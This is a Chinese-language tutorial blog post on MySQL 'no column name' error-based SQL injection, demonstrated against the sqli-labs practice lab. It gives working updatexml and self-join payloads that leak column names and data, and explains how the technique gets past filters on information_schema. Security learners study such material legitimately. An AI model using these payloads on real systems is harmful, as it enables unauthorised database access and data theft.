您的位置:首页 > 数据库 > MySQL

mysql无列名注入

2021-05-18 15:39 1156 查看

0x00 原理

  mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。

0x01 注入方法

  这里使用sqlilabs-1来演示。

0x01.1 使用union进行无列名注入

前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。
爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+

爆第二个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+

using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。

尝试爆第三列

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+


虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。

对爆出的email_id列进行查询

payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+

payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+

0x01.2 不使用union进行无列名注入

爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+


出了 id 列
爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+


出了email_id列

查询和使用union的一样。

0x02 总结

  这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: